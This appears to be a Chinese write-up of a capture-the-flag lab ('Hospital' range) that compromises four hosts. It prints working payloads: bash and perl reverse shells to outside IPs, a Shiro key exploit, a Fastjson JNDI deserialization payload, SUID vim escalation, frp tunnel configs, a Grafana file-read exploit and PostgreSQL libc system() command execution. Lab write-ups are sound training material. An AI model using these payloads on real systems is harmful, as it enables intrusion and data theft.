春秋云镜-Hospital wp

1
在这个场景中,你将扮演一名渗透测试工程师,被派遣去测试某家医院的网络安全性。你的目标是成功获取所有服务器的权限,以评估公司的网络安全状况。该靶场共有 4 个flag,分布于不同的靶机。

目标地址:39.99.151.78

flag1

先尝试用fscan扫描目标。

image-20250516004537352

发现存在heapdump泄露,尝试提取。

扫目录发现存在/actuator路由,那么信息泄露是拿捏稳稳的了。

image-20250516005051044

访问后结果如下,发现/actuator/heapdump,下载下来。

image-20250516005109848

接着我们提取heapdump文件内容。

1
java -jar JDumpSpider-1.1-SNAPSHOT-full.jar heapdump >ans.txt

发现了shirokey!

image-20250516005355284

1
GAYysgMQhG7/CzIJlVpR2g==

再加上端口为8080,那么这个网站不出意外就是shiro框架的java网站了。

尝试直接用shiro一把梭工具扫一下。

image-20250516005750835

直接获取了webshell权限。接着我们尝试注入内存马将权限转移到webshell管理工具上。

image-20250516005915170

哥斯拉连接。

image-20250516010019232

看看能不能找到第一个flag,但是我们在环境变量和根目录等地方都没有找到,那么先尝试提反弹shell吧。

1
bash -c "bash -i >& /dev/tcp/156.238.233.113/4567 0>&1"

image-20250516010333470

接下来我们要做的是提权,因为现在的权限实在是太低了。尝试SUID提权。

image-20250516010502897

发现vim.basic,可以尝试提权。

1
/usr/bin/vim.basic -c ':py3 import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")'

image-20250516013719839

获取到第一个flag

flag2

那么本机上就没有其他flag了,我们看看它的ip

image-20250516013901975

内网ip为172.30.12.5,用fscan扫扫内网网段。

那么我们需要先上传一个fscan,使用哥斯拉的文件上传功能即可。

image-20250516014636662

image-20250516015022562

我们收集到的主要资产如下:

http://172.30.12.236:8080 医院后台

http://172.30.12.6:8848 nacos

这里我们注意到这个nacos的资产存在一个未授权漏洞。

接下来我们需要建立隧道。我们往目标上上传一个frpc和一个frpc.toml

先配置我们vps的frps

1
2
[common]
bindPort = 7000

image-20250519121832736

然后配置一下靶机的frpc

1
2
3
4
5
6
7
8
[common]
server_addr = 156.238.233.113
server_port = 7000

[plugin_socks6]
type = tcp
remote_port = 5001
plugin = socks5

image-20250519122043882

然后配置一下proxifier

image-20250519122911015

然后我们就能成功访问到内网啦

image-20250519123200276

我们已经扫到nacos未授权了,用工具试一下。

image-20250519123714037

直接注入内存马,然后用哥斯拉连接。

image-20250519123840031

1
flag{9dede423-c85a-4878-a1f2-6f08bab69ae4}

flag3

接下来我们看这个目标!

http://172.30.12.236:8080 医院后台

image-20250519124229983

fscan没有扫到什么东西,网页源代码也没有什么特殊的,我们抓包看看。

image-20250519124459981

是以json的方式传递的,猜测为FastJson

image-20250519125151942

发现fastjson版本为1.2.45

我们往web01上上传一个JNDI-Injection-Exploit攻击,进行fastjson反序列化

1
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMzAuMTIuNS84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}' -A "172.30.12.5"

将172.30.12.236反弹shell到172.30.12.5的8888端口

我们先给172.30.12.5开启一下nc监听,监听8888端口。

image-20250519131650811

1
2
3
4
5
6
7
8
9
10
11
{
"name": {
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
},
"x": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "rmi://172.30.12.5:1099/jxixvy",
"autoCommit": true
}
}

image-20250519131912201

成功反弹shell!

然后我们进行以下操作,以后方便点。

1
2
3
passwd
123456
123456

image-20250519132053536

1
flag{a0655f59-3fd3-42fa-9ea8-2152d003e42c}

flag4

image-20250519132149256

我们发现多了一个172.30.54网段。用fscan扫一下,先上传。

我们把需要的工具放到web1上,然后去wget即可。

1
2
python3 -m http.server 8000
wget http://172.30.12.5:8000/fscan

image-20250519133110787

发现了一个新目标172.30.54.12,端口为3000。服务是Grafana,能利用漏洞就只有 SSRF 和任意文件读取

利用工具:https://github.com/A-D-Team/grafanaExp/releases

这里我用这个工具报错了,不知道为啥

1
2
#读取postgresql密码
./linux_amd64_grafanaExp exp -u http://172.30.54.12:3000/

直接拿别人的结果吧,看半天没看出原因,就不浪费钱了,1h=7r啊!!

1
2
3
4
5
6
root@web03:/tmp# ./grafanaExp_linux_amd64 exp -u http://172.30.54.12:3000
2024/01/26 10:00:02 Target vulnerable has plugin [alertlist]
2024/01/26 10:00:02 Got secret_key [SW2YcwTIb9zpOOhoPsMm]
2024/01/26 10:00:02 There is [0] records in db.
2024/01/26 10:00:02 type:[postgres] name:[PostgreSQL] url:[localhost:5432] user:[postgres] password[Postgres@123] database:[postgres] basic_auth_user:[] basic_auth_password:[]
2024/01/26 10:00:02 All Done, have nice day!

接下来配置一个双层代理

frps.ini如下,上传到web01

1
2
[common]
bind_port = 7412

frpc.ini如下,上传到web03

1
2
3
4
5
6
7
8
[common]
server_addr = 172.30.12.5
server_port = 7412

[socks5]
type = tcp
remote_port = 6000
plugin = socks5

image-20250519134545375

image-20250519134804126

接着我们配置一下proxy chain

image-20250519192051990

然后我们就能成功访问到目标啦~

image-20250519192251052

接下来尝试连接数据库

image-20250519192828943

连上后查询一下数据库版本

1
2
3
select version()

PostgreSQL 8.1.0 on x86_64-unknown-linux-gnu, compiled by GCC gcc (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0

然后我们对 root 用户的密码进行修改

1
2
3
ALTER USER root WITH PASSWORD '123456'

OK

PostgreSQL <= 8.1 可以通过调用系统的动态链接库 libc.so.6 来实现命令执行

1
2
3
CREATE OR REPLACE FUNCTION system (cstring) RETURNS integer AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT

OK

创建函数成功后,执行命令时当返回值为 0 表示执行成功,其它值则是执行失败。我们使用 perl 反弹 shell,注意在 Web03 机器上监听端口

1
select system('perl -e \'use Socket;$i="172.30.54.179";$p=2333;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};\'');

执行后成功弹回shell!

image-20250519193304323

但是我们是数据库用户权限,接下来要进行提权。

我们先获取一个交互式 shell,然后使用 psql 进行 sudo 提权

image-20250519193409882

注意利用 psql 需要为绝对路径,否则需要 Linux 用户 postgres 的密码,其次需要 PostgreSQL 数据库中 root 用户的密码,不过前面我们修改过了。root用户的密码为123456

具体psql怎么打看下面:

image-20250519194547877 image-20250519194600574

image-20250519193817901

1
flag{ab1d1d21-a477-4984-a4af-c462f5bce083}